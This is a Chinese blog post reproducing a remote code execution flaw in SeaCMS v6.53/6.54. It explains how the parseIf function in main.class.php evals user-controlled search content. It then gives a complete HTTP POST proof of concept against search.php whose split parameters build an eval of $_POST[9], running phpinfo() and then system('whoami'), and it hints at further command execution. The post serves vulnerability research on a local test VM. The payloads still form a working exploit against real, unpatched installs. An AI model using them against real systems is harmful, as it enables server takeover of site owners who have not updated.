海洋cms v6.53 v6.54版本漏洞复现

 海洋cms v6.53 v6.54版本漏洞复现

参考链接:

今天发现freebuf上一篇海洋cms的漏洞,来复现一下。

http://www.freebuf.com/vuls/150042.html

漏洞原理:

文章里说的很清楚echoSearchPage函数中的content变量传给了parself函数,跟踪代码,找到./include/main.class.php,可以看到parseIf函数会将content内容eval执行,造成命令执行。

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

通过POC可以看出,通过对参数进行了替换之后,content中已经包含了如下攻击payload:if:eval(join($_POST[9]))

跟踪代码,找到./include/main.class.php,可以看到parseIf函数会将content内容eval执行,造成命令执行。


使用环境:

win7 64位虚拟机 + phpstudy

seacms(v6.53).rar      在网盘里面找相应名字

网上现在最新的是6.55的已经修复了,这留个测试副本。

具体复现步骤:

下面是自建的测试网站,建站上用的phpstudy没有任何问题

 

安装完成界面

http://192.168.19.130/seacms/install/index.php

首页

http://192.168.19.130/seacms/

后台

http://192.168.19.130/seacms/admin/login.php?gotopage=%2Fseacms%2Fadmin%2F

这几个地址可以记录一下

网上提供的POC

POST /seacms/search.php HTTP/1.1

Host: 192.168.19.130

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 12

Referer: http://192.168.19.130/seacms/search.php

Cookie: a4207_times=1; PHPSESSID=kdb0jv3umhhso2o37jbtrsk9t4

Connection: close

Upgrade-Insecure-Requests: 1

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

执行结果,可见写入9[]的代码被执行

 

进一步利用,可以执行系统命令,剩下的就不多说了。

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("whoami");

 

好了,收工。

原文地址:https://www.cnblogs.com/zhaijiahui/p/7648350.html